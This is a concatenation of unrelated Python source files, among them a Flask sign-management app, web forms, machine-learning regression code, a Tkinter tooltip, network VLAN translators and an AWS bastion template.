UserMixin, RoleMixin, login_required, user_registered
from db import Sign, URL, SignURL, User, Role, UserRoles, db
from adminViews import SignView, AuthModelView, AuthAdminIndexView, UserView
from config import *
from datetime import datetime
app = Flask(__name__)
app.secret_key = SECRET_KEY
app.config['SECURITY_REGISTERABLE'] = True
app.config['SECURITY_PASSWORD_HASH'] = '<PASSWORD>'
app.config['SECURITY_PASSWORD_SALT'] = SECRET_KEY
user_datastore = PeeweeUserDatastore(db, User, Role, UserRoles)
security = Security(app, user_datastore)
def shutdown_flask():
func = request.environ.get('werkzeug.server.shutdown')
if func is None:
raise RuntimeError('Not running with the Werkzeug Server')
func()
admin = Admin(app, name='SignMan', template_mode='bootstrap3', index_view=AuthAdminIndexView())
admin.add_view(SignView(Sign))
admin.add_view(AuthModelView(URL))
admin.add_view(AuthModelView(SignURL))
admin.add_view(UserView(User))
admin.add_link(MenuLink("Logout", endpoint='security.logout'))
@security.context_processor
def security_context_processor():
return dict(
admin_base_template=admin.base_template,
admin_view=admin.index_view,
h=admin_helpers,
get_url=url_for
)
@user_registered.connect_via(app)
def activateFirstUser(sender, user, confirm_token, **extra):
if User.select().count() == 1:
user.active = True
else:
user.active = False
user.save()
@app.route('/')
def index():
return '''<html><body>
Welcome to Sign Man<p>
<a href=./admin>Admin interface </a>
</html></body>
'''
@app.route('/api/v1/config/<string:token>', methods=['GET'])
def get_config(token):
lines = []
try:
sign = Sign.get(token=token)
url = sign.getCurrentURL()
sign.last_ip=request.remote_addr
sign.save()
except Sign.DoesNotExist:
lines.append("# Sign not found")
url = "%s/nonregistered/%s" % (SIGNMAN_BASE_URL, token)
if auto_add_signs:
lines.append("... added to database")
newSign = Sign(token=token, name="new-%s" % datetime.now().strftime("%Y%m%d-%H%M%S"), last_ip=request.remote_addr)
newSign.save()
except URL.DoesNotExist:
lines.append("# No URL for sign found")
url = DEFAULT_URL
lines.append("URL %s" % url)
lines.append("NODE %s" % token)
lines.append("")
return "\n".join(lines)
@app.route('/api/v1/sign/<string:token>', methods=['GET'])
def get_urls(token):
try:
sign = Sign.get(token=token)
except:
return "sign not found"
return jsonify(sign.activeURLs())
@app.route('/nonregistered/<string:token>', methods=['GET'])
def non_registered_screen(token):
return '''<html><body>
Connected to SignMan<p>
Sign Token: %s
</html></body>''' % token
@app.route('/health', methods=['GET'])
def health_check():
return "OK"
@app.route('/quitquitquit', methods=['POST'])
@app.route('/abortabortabort', methods=['POST'])
def shutdown():
if shutdown_endpoints_enabled:
shutdown_flask()
return "Goodbye"
else:
return "Nope"
if __name__ == '__main__':
app.run(debug=debug)
|
490609
|
from flask_wtf import FlaskForm
from flask_wtf.file import FileField, FileAllowed
from wtforms import StringField, SubmitField, BooleanField, PasswordField, RadioField, TextAreaField
from wtforms.validators import Length, EqualTo, Email, DataRequired, ValidationError, Regexp
from flask_login import current_user
from Sakha.models import User
class RegistrationForm(FlaskForm):
firstname = StringField('Firstname', validators=[DataRequired(), Length(max=30, message='should be atmost 30 characters long'),
Regexp(r'^[a-zA-Z\s]+$' ,message = 'name should contain only alphabats')])
lastname = StringField('Lastname', validators=[DataRequired(), Length(max=30, message='should be atmost 30 characters long')
, Regexp(r'^[a-zA-Z\s]+$' ,message = 'name should contain only alphabats')])
username = StringField('Username', validators=[DataRequired(), Length(min=5, max=30, message='username should be atleast 5 characters long'),
Regexp(r'^[a-zA-Z0-9]+$' ,message = 'username should contain only alphabats and numbers')])
email = StringField('Email Address', validators=[DataRequired(), Email(message='email address should be valid')])
gender = RadioField('Gender', choices=[('Female', 'Female'), ('Male', 'Male'), ('Others', 'Others')], validators=[DataRequired()])
password = PasswordField('Password', validators=[DataRequired(), Length(min=8, max=100, message='password should be atleast 8 characters long')])
reenter_password = PasswordField('Reenter Password', validators=[EqualTo('password', message='reentered password should be similar to password')])
submit = SubmitField('Create New Account')
def validate_username(self, username):
user = User.query.filter_by(username=username.data).first()
if user:
raise ValidationError('username is already taken, try different one')
def validate_email(self,email):
user = User.query.filter_by(email=email.data).first()
if user:
raise ValidationError('email address is already registerd, try different one')
def validate_password(self, password):
specialCharacters = '!@#$%^&*()_+-={}[]|\\:;\'"?/>.<,~`'
specialTotal = 0
for char in password.data:
if char in specialCharacters:
specialTotal += 1
if not specialTotal:
raise ValidationError('password should contain one or more special characters')
class LoginForm(FlaskForm):
email = StringField('Email Address', validators=[DataRequired(), Email(message='email address should be valid')])
password = PasswordField('Password', validators=[DataRequired(), Length(min=8, max=100, message='password should be atleast 8 characters long')])
remember = BooleanField('Remember me')
submit = SubmitField('Login Folk')
class NameUpdateForm(FlaskForm):
firstname = StringField('Firstname', validators=[DataRequired()])
lastname = StringField('Lastname', validators=[DataRequired()])
submit = SubmitField('Save')
class AboutUpdateForm(FlaskForm):
address = StringField('Address')
about_user = TextAreaField('About Me')
submit = SubmitField('Save')
class UniqueDetailsUpdateForm(FlaskForm):
username = StringField('Username', validators=[DataRequired(), Length(min=5, max=30, message='username should be atleast 5 characters long'),
Regexp(r'^[a-zA-Z0-9]+$' ,message = 'username should contain only alphabats and numbers')])
email = StringField('Email Address', validators=[DataRequired(), Email(message='email address should be valid')])
submit = SubmitField('Save')
def validate_username(self, username):
if current_user.username != username.data:
user = User.query.filter_by(username=username.data).first()
if user:
raise ValidationError('username is already taken, try different one')
def validate_email(self,email):
if current_user.email != email.data:
user = User.query.filter_by(email=email.data).first()
if user:
raise ValidationError('email address is already registerd, try different one')
class UploadAvatarForm(FlaskForm):
profile_pic=FileField('Profile Image', validators=[FileAllowed(['jpg','png','gif','svg', 'jpeg'],
message='Image with extension jpg/png/gif/svg is only allowed')])
header_pic = FileField('Header Image', validators=[FileAllowed(['jpg','png','gif','svg', 'jpeg'],
message='Image with extension jpg/png/gif/svg is only allowed')])
submit = SubmitField('Upload')
class CreatePostForm(FlaskForm):
content=TextAreaField('Content', validators=[Length(max = 5000, message = 'Upto 5000 characters are allowed')])
postImage = FileField('Upload Image', validators=[FileAllowed(['jpg','png','gif','svg', 'jpeg'],
message = 'Image with extension jpg/png/gif/svg is only allowed')])
submit = SubmitField('Post')
|
490611
|
import unittest
from bibliopixel.layout.geometry import matrix
class MatrixTest(unittest.TestCase):
def test_simple(self):
m = matrix.Matrix(list(range(12)), 3)
self.assertEqual(m.get(0, 0), 0)
self.assertEqual(m.get(1, 0), 1)
self.assertEqual(m.get(0, 1), 3)
self.assertEqual(m.get(1, 1), 4)
self.assertEqual(m.get(2, 3), 11)
def test_transpose(self):
m = matrix.Matrix(list(range(12)), 3, transpose=True)
self.assertEqual(m.get(0, 0), 0)
self.assertEqual(m.get(0, 1), 1)
self.assertEqual(m.get(1, 0), 3)
self.assertEqual(m.get(1, 1), 4)
self.assertEqual(m.get(3, 2), 11)
def test_reflect(self):
m = matrix.Matrix(list(range(12)), 3, reflect_x=True)
self.assertEqual(m.get(0, 0), 2)
self.assertEqual(m.get(1, 0), 1)
self.assertEqual(m.get(0, 1), 5)
self.assertEqual(m.get(1, 1), 4)
self.assertEqual(m.get(2, 3), 9)
def test_serpentine(self):
m = matrix.Matrix(list(range(12)), 3, serpentine_x=True)
self.assertEqual(m.get(0, 0), 0)
self.assertEqual(m.get(1, 0), 1)
self.assertEqual(m.get(0, 1), 5)
self.assertEqual(m.get(1, 1), 4)
self.assertEqual(m.get(2, 2), 8)
self.assertEqual(m.get(2, 3), 9)
|
490620
|
from braintree.exceptions.braintree_error import BraintreeError
class TooManyRequestsError(BraintreeError):
"""
Raised when the rate limit request threshold is exceeded.
"""
pass
|
490634
|
import numpy as np
import pandas as pd
from sklearn.ensemble import RandomForestRegressor,ExtraTreesRegressor
from sklearn.model_selection import ShuffleSplit,cross_val_score
from sklearn.linear_model import Lasso,Ridge
from opc_python import * # Import constants.
from opc_python.utils import prog,scoring,loading
def rfc_final(X,Y,
max_features,min_samples_leaf,max_depth,use_et,
regularize=np.ones(21)*0.8,n_estimators=100,seed=0):
descriptors = loading.get_descriptors(format=True)
n_subjects = 49
n_obs = X.shape[0]
def rfc_maker(n_estimators=n_estimators, max_features=max_features,
min_samples_leaf=min_samples_leaf, max_depth=max_depth,
use_et=False):
if not use_et:
kls = RandomForestRegressor
kwargs = {'oob_score':True}
else:
kls = ExtraTreesRegressor
kwargs = {}
return kls(n_estimators=n_estimators, max_features=max_features,
min_samples_leaf=min_samples_leaf, max_depth=max_depth,
n_jobs=-1, random_state=seed, **kwargs)
rfcs = {x:{} for x in range(1,n_subjects+1)}
for d,descriptor in enumerate(descriptors):
for subject in range(1,n_subjects+1):
rfcs[subject][descriptor] = rfc_maker(n_estimators=n_estimators,
max_features=max_features[col],
min_samples_leaf=min_samples_leaf[col],
max_depth=max_depth[col],
use_et=use_et[col])
for subject in range(1,n_subjects+1):
prog(subject,n_subjects+1)
from time import gmtime, strftime
for d,descriptor in enumerate(descriptors):
rfcs[subject][descriptor].fit(X,Y[subject][descriptor])
predicted = np.zeros((n_obs,len(descriptors),n_subjects))
for col,descriptor in enumerate(descriptors):
for subject in range(1,n_subjects+1):
if use_et[col]:
# Check in-sample fit because there isn't any alternative.
predicted[:,col,subject-1] = \
rfcs[subject][descriptor].predict(X)
else:
predicted[:,col,subject-1] = \
rfcs[subject][descriptor].oob_prediction_
# Regularize:
predicted_mean = predicted.mean(axis=2,keepdims=True)
predicted_reg = predicted.copy()
for d,descriptor in enumerate(descriptors):
predicted_reg[:,d,:] = regularize[d]*predicted_mean[:,d,:] \
+ (1-regularize[d])*predicted[:,d,:]
predicted = predicted_reg
observed = predicted.copy()
for subject in range(1,n_subjects+1):
observed[:,:,subject-1] = Y[subject]
score = scoring.score(predicted,observed)
rs = {}
predictions = {}
print("For subchallenge 1:")
print("\tScore = %.2f" % score)
for kind in ['int','ple','dec']:
rs[kind] = scoring.r(kind,predicted,observed)
print("\t%s = %.3f" % (kind,rs[kind]))
return (rfcs,score,rs)
def rfc_(X_train,Y_train,X_test_int,X_test_other,Y_test,max_features=1500,
n_estimators=1000,max_depth=None,min_samples_leaf=1):
print(max_features)
def rfc_maker():
return RandomForestRegressor(max_features=max_features,
n_estimators=n_estimators,
max_depth=max_depth,
min_samples_leaf=min_samples_leaf,
n_jobs=-1,
oob_score=True,
random_state=0)
n_subjects = 49
predicted_train = []
observed_train = []
predicted_test = []
observed_test = []
rfcs = {subject:rfc_maker() for subject in range(1,n_subjects+1)}
for subject in range(1,n_subjects+1):
print(subject)
observed = Y_train[subject]
rfc = rfcs[subject]
rfc.fit(X_train,observed)
#predicted = rfc.predict(X_train)
predicted = rfc.oob_prediction_
observed_train.append(observed)
predicted_train.append(predicted)
observed = Y_test[subject]
rfc = rfcs[subject]
if Y_train is Y_test: # OOB prediction
predicted = rfc.oob_prediction_
else:
predicted = rfc.predict(X_test_other)
predicted_int = rfc.predict(X_test_int)
predicted[:,0] = predicted_int[:,0]
observed_test.append(observed)
predicted_test.append(predicted)
scores = {}
for phase,predicted_,observed_ in [('train',predicted_train,observed_train),('test',predicted_test,observed_test)]:
predicted = np.dstack(predicted_)
observed = np.ma.dstack(observed_)
predicted_mean = np.mean(predicted,axis=2,keepdims=True)
regularize = 0.7
predicted = regularize*(predicted_mean) + (1-regularize)*predicted
score = scoring.score(predicted,observed,n_subjects=n_subjects)
r_int = scoring.r('int',predicted,observed)
r_ple = scoring.r('ple',predicted,observed)
r_dec = scoring.r('dec',predicted,observed)
print("For subchallenge 1, %s phase, score = %.2f (%.2f,%.2f,%.2f)"%\
(phase,score,r_int,r_ple,r_dec))
scores[phase] = score
return rfcs,scores['train'],scores['test']
# Show that random forest regrssion also works really well out of sample.
def rfc_cv(X,Y,n_splits=5,n_estimators=15,
max_features=1000,min_samples_leaf=1,max_depth=None,
regularize=[0.7,0.35,0.7]):
test_size = 0.2
n_molecules = X.shape[0]
shuffle_split = ShuffleSplit(n_splits,test_size=test_size)
test_size *= n_molecules
rfcs = {}
n_subjects = 49
for subject in range(1,n_subjects+1):
rfc = RandomForestRegressor(n_estimators=n_estimators,
max_features=max_features,
min_samples_leaf=min_samples_leaf,
max_depth=max_depth,
oob_score=False,
n_jobs=-1,
random_state=0)
rfcs[subject] = rfc
rs = {'int':[],
'ple':[],
'dec':[]}
scores = []
for train_index,test_index in shuffle_split.split(range(n_molecules)):
predicted_list = []
observed_list = []
for subject in range(1,n_subjects+1):
rfc = rfcs[subject]
X_train = X[train_index]
Y_train = Y[subject][train_index]
rfc.fit(X_train,Y_train)
X_test = X[test_index]
predicted = rfc.predict(X_test)
observed = Y[subject][test_index]
predicted_list.append(predicted)
observed_list.append(observed)
observed = np.ma.dstack(observed_list)
predicted = np.dstack(predicted_list)
predicted_mean = predicted.mean(axis=2,keepdims=True)
predicted_int = regularize[0]*(predicted_mean)\
+ (1-regularize[0])*predicted
predicted_ple = regularize[1]*(predicted_mean)\
+ (1-regularize[1])*predicted
predicted = regularize[2]*(predicted_mean)\
+ (1-regularize[2])*predicted
predicted[:,0,:] = predicted_int[:,0,:]
predicted[:,1,:] = predicted_ple[:,1,:]
score = scoring.score(predicted,observed)
scores.append(score)
for kind in ['int','ple','dec']:
rs[kind].append(scoring.r(kind,predicted,observed))
for kind in ['int','ple','dec']:
rs[kind] = {'mean':np.mean(rs[kind]),
'sem':np.std(rs[kind])/np.sqrt(n_splits)}
scores = {'mean':np.mean(scores),'sem':np.std(scores)/np.sqrt(n_splits)}
print(("For subchallenge 1, using cross-validation with at least "
"%d samples_per_leaf:" % min_samples_leaf))
print("\tscore = %.2f+/- %.2f" % (scores['mean'],scores['sem']))
for kind in ['int','ple','dec']:
print("\t%s = %.2f+/- %.2f" % (kind,rs[kind]['mean'],rs[kind]['sem']))
return scores,rs
# Using only subject fits.
def subject_regularize(rfcs,X_int,X_other,Y,oob=False,
regularize=[0.75,0.3,0.65]):
if len(regularize)==1:
regularize = regularize*3
observed_ = []
predicted_ = []
for subject in range(1,50):
observed = Y['subject'][subject]
rfc = rfcs[1][subject]
if oob:
predicted = rfc.oob_prediction_
else:
predicted = rfc.predict(X_other)
predicted_int = rfc.predict(X_int)
predicted[:,0] = predicted_int[:,0]
observed_.append(observed)
predicted_.append(predicted)
predicted = np.dstack(predicted_)
observed = np.ma.dstack(observed_)
predicted_mean = np.mean(predicted,axis=2,keepdims=True)
predicted_std = np.std(predicted,axis=2,keepdims=True)
predicted_mean_std = np.hstack((predicted_mean,predicted_std)).squeeze()
predicted_int = regularize[0]*(predicted_mean)\
+ (1-regularize[0])*predicted
predicted_ple = regularize[1]*(predicted_mean)\
+ (1-regularize[1])*predicted
predicted_dec = regularize[2]*(predicted_mean)\
+ (1-regularize[2])*predicted
predicted = regularize[0]*(predicted_mean)\
+ (1-regularize[0])*predicted
r_int = scoring.r('int',predicted_int,observed)
r_ple = scoring.r('ple',predicted_ple,observed)
r_dec = scoring.r('dec',predicted_dec,observed)
score1_ = scoring.score(predicted,observed,n_subjects=49)
score1 = scoring.rs2score(r_int,r_ple,r_dec)
#print(score1_,score1)
print("For subchallenge %d, score = %.3f (%.3f,%.3f,%.3f)"\
% (1,score1,r_int,r_ple,r_dec))
score2 = scoring.score2(predicted_mean_std,Y['mean_std'])
r_int_mean = scoring.r2('int','mean',predicted_mean_std,Y['mean_std'])
r_ple_mean = scoring.r2('ple','mean',predicted_mean_std,Y['mean_std'])
r_dec_mean = scoring.r2('dec','mean',predicted_mean_std,Y['mean_std'])
r_int_std = scoring.r2('int','std',predicted_mean_std,Y['mean_std'])
r_ple_std = scoring.r2('ple','std',predicted_mean_std,Y['mean_std'])
r_dec_std = scoring.r2('dec','std',predicted_mean_std,Y['mean_std'])
print("For subchallenge %d, score = %.2f (%.2f,%.2f,%.2f,%.2f,%.2f,%.2f)"%\
(2,score2,r_int_mean,r_ple_mean,r_dec_mean,
r_int_std,r_ple_std,r_dec_std))
return (r_int,r_ple,r_dec,r_int_mean,r_ple_mean,r_dec_mean,
r_int_std,r_ple_std,r_dec_std)
def lasso_(X_train,Y_train,X_test,Y_test,alpha=0.1,regularize=[0.7,0.7,0.7]):
if len(regularize)==1:
regularize = regularize*3
def lasso_maker():
return Lasso(alpha=alpha)
n_subjects = 49
predicted_train = []
observed_train = []
predicted_test = []
observed_test = []
lassos = {subject:lasso_maker() for subject in range(1,n_subjects+1)}
for subject in range(1,n_subjects+1):
observed = Y_train[subject][:,1:2]
lasso = lassos[subject]
lasso.fit(X_train,observed)
predicted = lasso.predict(X_train)[:,np.newaxis]
observed_train.append(observed)
predicted_train.append(predicted)
observed = Y_test[subject][:,1:2]
predicted = lasso.predict(X_test)[:,np.newaxis]
observed_test.append(observed)
predicted_test.append(predicted)
scores = {}
for phase,predicted_,observed_ in [('train',predicted_train,observed_train),
('test',predicted_test,observed_test)]:
predicted = np.dstack(predicted_)
observed = np.ma.dstack(observed_)
predicted_mean = np.mean(predicted,axis=2,keepdims=True)
#predicted_int = regularize[0]*(predicted_mean) + (1-regularize[0])*predicted
predicted_ple = regularize[1]*(predicted_mean)\
+ (1-regularize[1])*predicted
#predicted_dec = regularize[2]*(predicted_mean) + (1-regularize[2])*predicted
#score1_ = scoring.score(predicted_int,observed,n_subjects=n_subjects)
#r_int = scoring.r('int',predicted,observed)
#r_ple = scoring.r('ple',predicted,observed)
r_ple = scoring.r(None,predicted_ple,observed)
r2_ple = scoring.r2(None,None,predicted_ple.mean(axis=2),
observed.mean(axis=2))
#r_dec = scoring.r('dec',predicted,observed)
#score1 = scoring.rs2score(r_int,r_ple,r_dec)
print("For subchallenge 1, %s phase, score = %.2f" % (phase,r_ple))
print("For subchallenge 2, %s phase, score = %.2f" % (phase,r2_ple))
scores[phase] = (r_ple,r2_ple)
return lassos,scores['train'],scores['test']
def compute_linear_predictions(X_train,X_test_int,X_test_other,Y_train,
lin_ranked,max_features=100,regularize=0.8,
alpha=10.0):
max_features = 100
descriptors = loading.get_descriptors(format=True)
Y = pd.Panel(items=range(1,50),major_axis=X_test_other.index,
minor_axis=pd.Series(descriptors,name='Descriptor'))
for col,descriptor in enumerate(descriptors): # For each descriptor.
prog(col,len(descriptors))
X_test = X_test_int if col==0 else X_test_other
n_molecules = X_test.shape[0]
est = Ridge(alpha=alpha,fit_intercept=True, normalize=False,
copy_X=True, max_iter=None, tol=0.001,
solver='auto', random_state=0)
features = lin_ranked[col,:][:max_features]
for subject in range(1,50):
# Perceptual data for this descriptor.
observed = Y_train[subject][descriptor]
# Fit the model on the training data with the
# 'max_features' features
est.fit(X_train.drop('mean_dilution',1).values[:,features],
observed)
predicted = est.predict(X_test.values[:,features]) # Predict the test data.
Y[subject][descriptor].loc[list(X_test.index)] = predicted
# Regularize each subject to the across-subject mean
Y_mean = Y.mean(axis=0)
for subject in range(1,50):
Y[subject] = Y_mean*regularize + Y[subject]*(1-regularize)
return Y
|
490637
|
from Tkinter import Toplevel, StringVar, Message, Tk, Button, N, S, E, W
from time import time, localtime, strftime
class ToolTip(Toplevel):
"""
Provides a ToolTip widget for Tkinter.
To apply a ToolTip to any Tkinter widget, simply pass the widget to the
ToolTip constructor
"""
def __init__(self, wdgt, msg=None, msg_func=None, delay=1, follow=True):
"""
Initialize the ToolTip
Arguments:
wdgt: The widget this ToolTip is assigned to
msg: A static string message assigned to the ToolTip
msg_func: A function that retrieves a string to use as the ToolTip text
delay: The delay in seconds before the ToolTip appears(may be float)
follow: If True, the ToolTip follows motion, otherwise hides
"""
self.wdgt = wdgt
self.parent = self.wdgt.master # The parent of the ToolTip is the parent of the ToolTips widget
Toplevel.__init__(self, self.parent, bg='black', padx=1, pady=1) # Initialize the Toplevel
self.withdraw() # Hide initially
self.overrideredirect(True) # The ToolTip Toplevel should have no frame or title bar
self.msgVar = StringVar() # The msgVar will contain the text displayed by the ToolTip
if msg is None:
self.msgVar.set('No message provided')
else:
self.msgVar.set(msg)
self.msgFunc = msg_func
self.delay = delay
self.follow = follow
self.visible = 0
self.lastMotion = 0
Message(self, textvariable=self.msgVar, bg='#FFFFDD',
aspect=1000).grid() # The test of the ToolTip is displayed in a Message widget
# Add bindings to the widget. This will NOT override bindings that the widget already has
self.wdgt.bind('<Enter>', self.spawn, '+')
self.wdgt.bind('<Leave>', self.hide, '+')
self.wdgt.bind('<Motion>', self.move, '+')
def spawn(self, event=None):
"""
Spawn the ToolTip. This simply makes the ToolTip eligible for display.
Usually this is caused by entering the widget
Arguments:
event: The event that called this function
"""
self.visible = 1
self.after(int(self.delay * 1000), self.show) # The after function takes a time argument in milliseconds
def show(self):
"""
Displays the ToolTip if the time delay has been long enough
"""
if self.visible == 1 and time() - self.lastMotion > self.delay:
self.visible = 2
if self.visible == 2:
self.deiconify()
def move(self, event):
"""
Processes motion within the widget.
Arguments:
event: The event that called this function
"""
self.lastMotion = time()
if not self.follow: # If the follow flag is not set, motion within the widget will make the ToolTip disappear
self.withdraw()
self.visible = 1
self.geometry('+%i+%i' % (event.x_root+10, event.y_root+10)) # Offset the ToolTip 10x10 pixels southwest
try:
# Try to call the message function. Will not change the message if the message
# function is None or the message function fails
self.msgVar.set(self.msgFunc())
except TypeError:
pass
self.after(int(self.delay * 1000), self.show)
def hide(self, event=None):
"""
Hides the ToolTip. Usually this is caused by leaving the widget
Arguments:
event: The event that called this function
"""
self.visible = 0
self.withdraw()
def xrange2d(n, m):
"""
Returns a generator of values in a 2d range
Arguments:
n: The number of rows in the 2d range
m: The number of columns in the 2d range
Returns:
A generator of values in a 2d range
"""
return ((i, j) for i in xrange(n) for j in xrange(m))
def range2d(n, m):
"""
Returns a list of values in a 2d range
Arguments:
n: The number of rows in the 2d range
m: The number of columns in the 2d range
Returns:
A list of values in a 2d range
"""
return [(i, j) for i in range(n) for j in range(m)]
def print_time():
"""
Prints the current time in the following fmt:
HH:MM:SS.00
"""
t = time()
time_string = 'time='
time_string += strftime('%H:%M:', localtime(t))
time_string += '%.2f' % (t % 60, )
return time_string
def main():
root = Tk()
btn_list = []
for (i, j) in range2d(6, 4):
text = 'delay=%i\n' % i
delay = i
if j >= 2:
follow = True
text += '+follow\n'
else:
follow = False
text += '-follow\n'
if j % 2 == 0:
msg = None
msg_func = print_time
text += 'Message Function'
else:
msg = 'Button at %s' % str((i, j))
msg_func = None
text += 'Static Message'
btn_list.append(Button(root, text=text))
ToolTip(btn_list[-1], msg=msg, msg_func=msg_func, follow=follow, delay=delay)
btn_list[-1].grid(row=i, column=j, sticky=N+S+E+W)
root.mainloop()
if __name__ == '__main__':
main()
|
490658
|
from __future__ import absolute_import
from . import ClientProc
class QueuesProc(ClientProc):
"""
A proc class for the `queues <http://queues.googlecode.com/>`_
library.
:param name: the name of the proc (required)
:param queues: list of queue names to check (required)
:type name: str
:type queues: str or list of str or :class:`queues.queues.Queue`
Example::
from hirefire.procs.queues import QueuesProc
class WorkerQueuesProc(QueuesProc):
name = 'worker'
queues = ['default', 'thumbnails']
"""
#: The name of the proc (required).
name = None
#: The list of queues to check (required).
queues = []
def client(self, queue):
"""
Given one of the configured queues returns a
:class:`queues.queues.Queue` instance.
"""
try:
from queues import queues as _queues
except ImportError:
raise ValueError("Couldn't import the queues library.")
if isinstance(queue, _queues.Queue):
return queue
return _queues.Queue(queue)
def quantity(self, **kwargs):
"""
Returns the aggregated number of tasks of the proc queues.
"""
return sum([len(client) for client in self.clients])
|
490663
|
from cupy.cuda.memory_hooks import debug_print # NOQA
from cupy.cuda.memory_hooks import line_profile # NOQA
# import class and function
from cupy.cuda.memory_hooks.debug_print import DebugPrintHook # NOQA
from cupy.cuda.memory_hooks.line_profile import LineProfileHook # NOQA
|
490668
|
from typing import Optional
from yangify.translator import Translator, TranslatorData, unneeded
class VlanConfig(Translator):
class Yangify(TranslatorData):
path = "openconfig-network-instance:network-instances/network-instance/vlans/vlan/config"
vlan_id = unneeded
def name(self, value: Optional[str]) -> None:
if value:
self.yy.result.add_command(f" name {value}")
else:
self.yy.result.add_command(f" no name")
def status(self, value: Optional[str]) -> None:
if value == "SUSPENDED":
self.yy.result.add_command(f" shutdown")
else:
self.yy.result.add_command(f" no shutdown")
class Vlan(Translator):
class Yangify(TranslatorData):
path = (
"openconfig-network-instance:network-instances/network-instance/vlans/vlan"
)
def pre_process_list(self) -> None:
if self.to_remove:
for element in self.to_remove:
self.result.add_command(f"no vlan {element['vlan-id']}")
def pre_process(self) -> None:
if self.replace:
self.root_result.add_command(f"no vlan {self.key}")
self.result = self.root_result.new_section(f"vlan {self.key}")
def post_process(self) -> None:
if self.result:
self.result.add_command(" exit\n!")
else:
self.root_result.pop_section(f"vlan {self.key}")
vlan_id = unneeded
config = VlanConfig
class Vlans(Translator):
class Yangify(TranslatorData):
path = "openconfig-network-instance:network-instances/network-instance/vlans"
vlan = Vlan
|
490713
|
from qira_log import *
def do_function_analysis(dat):
next_instruction = None
fxn_stack = []
cancel_stack = []
cl_stack = []
fxn = []
for (address, data, clnum, flags) in dat:
if not flags & IS_START:
continue
if address in cancel_stack:
# reran this address, this isn't return
idx = cancel_stack.index(address)
fxn_stack = fxn_stack[0:idx]
cancel_stack = cancel_stack[0:idx]
cl_stack = cl_stack[0:idx]
#print map(hex, fxn_stack), clnum, "cancel"
if address in fxn_stack:
idx = fxn_stack.index(address)
fxn.append({"clstart":cl_stack[idx],"clend":(clnum-1)})
fxn_stack = fxn_stack[0:idx]
cancel_stack = cancel_stack[0:idx]
cl_stack = cl_stack[0:idx]
#print map(hex, fxn_stack), clnum, "return"
elif next_instruction != None and next_instruction != address:
fxn_stack.append(next_instruction)
cancel_stack.append(last_instruction)
cl_stack.append(clnum)
#print map(hex, fxn_stack), clnum
next_instruction = address + data
last_instruction = address
return fxn
def get_depth(fxns, clnum):
d = 0
for f in fxns:
if clnum >= f['clstart'] and clnum <= f['clend']:
d += 1
return d
if __name__ == "__main__":
dat = read_log("/tmp/qira_log")
print do_function_analysis(dat)
|
490720
|
from environmentbase.template import Template
from troposphere import Ref, Output, GetAtt, ec2
SSH_PORT = '22'
class Bastion(Template):
"""
Adds a bastion host within a given deployment based on environemntbase.
"""
def __init__(self, name='bastion', ingress_port='2222', access_cidr='0.0.0.0/0', instance_type='t2.micro', user_data=None):
"""
Method initializes bastion host in a given environment deployment
@param name [string] - name of the tier to assign
@param ingress_port [number] - port to allow ingress on. Must be a valid ELB ingress port. More info here: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ec2-elb-listener.html
@param access_cidr [string] - CIDR notation for external access to this tier.
@param user_data [string] - User data to to initialize the bastion hosts.
"""
self.name = name
self.ingress_port = ingress_port
self.access_cidr = access_cidr
self.instance_type = instance_type
self.user_data = user_data
super(Bastion, self).__init__(template_name=name)
# Called after add_child_template() has attached common parameters and some instance attributes:
# - RegionMap: Region to AMI map, allows template to be deployed in different regions without updating AMI ids
# - ec2Key: keyname to use for ssh authentication
# - vpcCidr: IP block claimed by whole VPC
# - vpcId: resource id of VPC
# - commonSecurityGroup: sg identifier for common allowed ports (22 in from VPC)
# - utilityBucket: S3 bucket name used to send logs to
# - [public|private]Subnet[0-9]: indexed and classified subnet identifiers
#
# and some instance attributes referencing the attached parameters:
# - self.vpc_cidr
# - self.vpc_id
# - self.common_security_group
# - self.utility_bucket
# - self.subnets: keyed by type and index (e.g. self.subnets['public'][1])
# - self.user_data: User data for launch configuration
def build_hook(self):
"""
Hook to add tier-specific assets within the build stage of initializing this class.
"""
security_groups = self.add_security_groups()
bastion_elb = self.add_elb(
resource_name=self.name,
security_groups=[security_groups['elb']],
listeners=[{
'elb_port': self.ingress_port,
'instance_port': SSH_PORT
}],
utility_bucket=self.utility_bucket
)
bastion_asg = self.add_asg(
layer_name=self.name,
security_groups=[security_groups['bastion'], self.common_security_group],
load_balancer=bastion_elb,
user_data=self.user_data,
instance_type=self.instance_type
)
self.add_output(Output(
'BastionELBDNSName',
Value=GetAtt(bastion_elb, 'DNSName')
))
self.add_output(Output(
'BastionELBDNSZoneId',
Value=GetAtt(bastion_elb, 'CanonicalHostedZoneNameID')
))
self.add_output(Output(
'BastionSecurityGroupId',
Value=Ref(security_groups['bastion'])
))
@staticmethod
def get_factory_defaults():
return {"bastion": {
"instance_type": "t2.micro",
"remote_access_cidr": "0.0.0.0/0",
"ingress_port": 2222
}}
@staticmethod
def get_config_schema():
return {"bastion": {
"instance_type": "str",
"remote_access_cidr": "str",
"ingress_port": "int"
}}
def add_security_groups(self):
"""
Wrapper method to encapsulate process of creating security groups for this tier.
"""
elb_sg_ingress_rule = ec2.SecurityGroupRule(FromPort=self.ingress_port, ToPort=self.ingress_port, IpProtocol='tcp', CidrIp=self.access_cidr)
elb_sg_name = '%sElbSecurityGroup' % self.name
elb_sg = self.add_resource(
ec2.SecurityGroup(
elb_sg_name,
GroupDescription='Security group for %s ELB' % self.name,
VpcId=self.vpc_id,
SecurityGroupIngress=[elb_sg_ingress_rule])
)
bastion_sg_name = '%sSecurityGroup' % self.name
bastion_sg = self.add_resource(
ec2.SecurityGroup(
bastion_sg_name,
GroupDescription='Security group for %s' % self.name,
VpcId=self.vpc_id)
)
self.create_reciprocal_sg(
elb_sg, elb_sg_name,
bastion_sg, bastion_sg_name,
from_port=SSH_PORT)
return {'bastion': bastion_sg, 'elb': elb_sg}
|
490744
|
import subprocess
p = subprocess.Popen("cd ~/BEAR/scripts/",
shell=True, stdout=subprocess.PIPE)
p.wait()
data_dir = '/home/nasheran/rozovr/recycle_paper_data/'
for size in [400,1600]:#[100,200,400,800,1600]:
for mult in [2,4]:
# if size!=100: break
num_reads = 1250000 * (size/100)
pref = data_dir+'plasmids_sim_ref_'+str(size)
####### generate command strings
abnd_cmmd = 'parametric_abundance.pl ' + pref \
+'.fasta low > '+pref+'.abnd'
# print abnd_cmmd
gen_reads_cmmd = 'python generate_reads.py -r ' \
+pref+'.fasta -a '+pref+'.abnd -o ' +pref+\
